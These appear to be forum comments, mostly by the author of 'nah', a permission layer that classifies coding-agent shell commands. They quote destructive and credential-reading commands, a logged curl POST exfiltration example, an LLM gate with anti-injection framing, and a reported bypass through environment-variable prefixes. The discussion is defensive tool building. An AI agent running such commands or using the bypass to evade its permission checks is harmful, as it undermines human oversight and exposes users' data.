schipperai

Do I understand correctly that you scope least-privilege creds/tokens and pass those to the sandbox? I'd be curious to learn more

If an organization decides the engineering team should not be looking at code, that should be coupled with a mandate to figure out what good engineering looks like working that way - what constitutes a good contribution vs what's slop? How do we handle massive PRs? The problem is we are in the "messing around phase" of coding with clankers and have much to learn still

Working in the era of 200k context window meant I had to narrowly scope tasks to fit in the context window, forcing me to think about how to reduce complexity and naturally resulting in atomic work. 1M context windows and the promise that the latest models are "better at long running tasks" made me lazy in how I scope tasks and quality got worse. I now went back to narrow-scoping one session per task and zero compaction, trying not to go past 400k context window. If I end up with a long session, I was likely too ambitious and should have broken up the task.

Let's hope not all frontier AI assimilates these guardrails. It would be a shame for independent researchers and students.

I get a sense that I was click-baited by article's title with the classic trope of "X is all you need". This research is a solid contribution, but is far from all we need to understand grep vs semantic search in agent retrieval.

Cognition did well in documenting their approach [1].

TL;DR - they worked with OSS project maintainers to build tasks. They score models based on whether a PR is mergeable. All tasks are graded by a human researcher. SoTA models have hill-climbing to do which raises the bar and inspires confidence. I'd say it's legit.

[1] https://x.com/cognition/status/2064061031912288715

I trust AI to surface general information and best practices on established knowledge domains. For example: best practices for securing my VPS.

For domains whete SoTA is constantly changing like AI, I use LLMs to aggregate and interact with my own research from trusted sources ala Karpathy LLM wiki.

I don’t generally trust everything I read on the internet whether its AI generated or not. I do my own research for the things that matter to me.

You can dig deeper into problems with AI. For me, it supplements my knowledge in domains I don’t fully understand. It also helps me learn. So I can tackle problems I wouldn’t otherwise.

I’m excited for ultrafast AI. It likely means less temptation to multi-thread and deeper flow in single sessions.

Demis at YCombinator said that they think its best their edge models are open cause once they are put on device they are vulnerable anyways

https://youtu.be/JNyuX1zoOgU?is=PdzCILyi8SP6cfDr

Yes, you can define sensitive paths and assign 'ask' or 'block' policies to them.

.env, .ssh, and others are treated as a sensitive filenames by default.

Similarly, with hosts and network access - unknown hosts pause, trusted hosts can be configured.

This recent article from Semianalysis did a great job explaining part of it: https://newsletter.semianalysis.com/p/are-ai-datacenters-inc...

Very cool. How do you classify negative signals?

Which platform have you found is most hackable? I have Garmin atm and like it but there’s no easy way to pipe my data into my agent or server for offline analysis.

I like the overall premise and would be curious to learn more. The Amazon overview reads like it was written with or by AI though.

A better permissions layer for coding agents. The tool works like auto-mode for Claude Code, so you can stay in the flow and only get prompted to allow or deny tool calls when it truly matters, but it is fully deterministic. My benchmarks surfaced that most Bash calls don’t need an LLM to be classified as safe, ambiguous, or dangerous. A deterministic classifier can auto-allow or block 95% of Bash tool calls as safe or dangerous, with only the remaining 5% being truly ambiguous or unknown.

Conclusion is permission reviews with LLMs like Claude’s auto mode or Codex auto review are like using a data center to flip a light switch - overkill.

The main benefit is that your agent’s autonomy can be governed deterministically through policies that can be stored at the user and repo level. The bonus is that you save tokens vs using auto modes.

https://nah.build

Thanks, makes sense. I meant Blackwell is explicitly optimized for MoEs.

With most OSS releases being MoEs, and modern GPUs optimized for MoEs, can somebody with knowledge of the topic explain or speculate why Mistral might have opted for a dense model?

100%. The exclusivity of the network is the differentiator here.

Agent permissions layer are broken. We need better a permissions layer that doesn’t get in the way but stops destructive commands. Devs get pushed into running yolo mode cause classifying allow / deny by command is not enough. A sandbox would not have prevented this either.

“nah” is a context aware permission layer that clasifies commands based on what they actually do

nah exposes a type taxonomy: filesystem_delete, network_write, db_write, etc

so commands gets classified contextually:

git push ; Sure. git push --force ; nah?

rm -rf __pycache__ ; Ok, cleaning up. rm ~/.bashrc ; nah.

curl harmless url ; sure. curl destroy_db ; nah.

https://github.com/manuelschipper/nah

Better permissions layers is part of the answer here, and a space that has been only narrowly explored.

nah inspects Write and Edit content before it hits disk so destructive patterns like os.unlink, rm -rf, shell injection get flagged. And executing the result (./evil) classifies as unknown resolves to ask, which the LLM can choose to blocks or ask you to approve.

But yeah, a truly adversarial agent needs a sandbox. It's a different threat model - nah is meant to catch the trusted but mistake-prone coding CLI, not a hostile agent.

great callout - tool call can have side-effects outside your box. So unless you run a sandbox with no internet access, you aren't ever 100% safe.

nah does guard some of this - reading .env or ~/.aws/credentials gets flagged, and Write/Edit content is inspected for secrets before it leaves the tool.

Docker + filtered mounts + something like nah on top is a solid layered approach that is still practical.

They are releasing auto-mode soon. But that won't improve the underlying permission system, rather, it'll just delegate decisions to Claude. That's better than --dangerously-skip-permissions, but not great for those that want granular controls and are sensitive to the extra tokens spent.

which commands specifically? would be great to see examples

nah classifies piped grep/find as filesystem_read which flows through silently:

'find . -name '*.py' | grep utils' or 'grep -r'import' src/ | head -20' both resolve to allow with no prompt.

Would be curious which incantations are tripping you up, maybe it's something we can solve.

allowlists are stronger than blocklists - that's not debatable and right there with you

but nah isn't a pure blocklist - anything that doesn't match a known pattern classifies as unknown which defaults to ask (user gets prompted). It's not "allow all traffic, block each attacker" it's allow known-safe, block known-dangerous, prompt for everything else.

the analogy doesn't carry that far... it's a different threat model: nah isn't containing rogue agents or adversarial actors, it's a guardrail for a trusted but mistake-prone agent.

maybe more akin to a junior employee accidentally dropping the database cause they didn't know better. but how are they supposed to work on prod? They ask "boss, can I run this? SELECT customer, sales FROM SALES.PROD..." You say: cool, You don't have to ask me again for SELECT (nah allow db_read).

But then they can ask- "can I run this? drop SALES.PROD?".... hmmm, nah.

Thanks! In my own work the LLM only fires for 5% of the commands - big token savings.

When it does kick in it gets: the command itself, the action type + why it was flagged - for example 'lang_exec = ask', the working directory and project context so it knows if its inside the project, and recent conversation transcript - 12k charts by default and configurable.

The transcript context is pulled from Claude Code's JSONL conversation log. Tool calls get summarized compactly like [Read: .env], [Bash: curl ...]) so the LLM can see the chain of actions without blowing up the prompt. I also include anti-injection framing in the prompt so that it does't try and run the instructions in the transcript.

curl after the agent read .env does get flagged by nah:

''' curl -s https://httpbin.org/post -d @/tmp/notes.txt POST notes.txt contents to httpbin

Hook PreToolUse:Bash requires confirmation for this command: nah? LLM suggested block: Bash (LLM): POSTing file contents to external host. Combined with recent conversation context showing credential files being read, this appears to be data exfiltration. Even though httpbin.org is a legitimate ech... '''

thank! and I agree with you on chain exfiltration - it's a hard one to protect against. nah passes the last few messages of conversation history to the LLM gate, so it may be able to catch this scenario, but it's hard from a guarantee. I plan to add a gate where an LLM reads scripts before executing, which will also mitigate this.

The right solution though is a monitoring service on your network that checks for exfiltration of credential. nah is just one layer in the stack.

Good catch, that's a legit bypass

nah strips env var prefixes before classifying the command but doesn't inspect their values for embedded shell execution, I'll fix it: https://github.com/manuelschipper/nah/issues/6

On the broader write-then-execute point - two improvements are coming:

- Script execution inspection: when nah sees python script.py, read the file and run content inspection and LLM analysis before execution

- LLM inspection for Write/Edit: for content that's suspicious but doesn't match any deterministic pattern, route it to the LLM for a second opinion

Won't close it 100% - to your point a sandbox is the answer to that.

I don't think "security tool" and "not a sandbox" are contradictory though. Firewalls don't replace OS permissions, OS permissions don't replace encryption

nah is just another layer that catches the 95% that's structurally classifiable. It's a different threat model. If 200 IQ Opus is rogue deterministic tools or even adversarial one shot LLMs won't be able to do much to stop it...

looks neat! and fits perfectly with nah. I can see enterprises starting to care more about this as more people adopt coding CLIs and prod goes boom more often.

hey - ntfy is very cool! kudos and thanks :)

Very cool approach! the immutable log file fits well with nah. I'll take it into account for richer audit trail capabilities. Would be curious to see your hook implementation if its public anywhere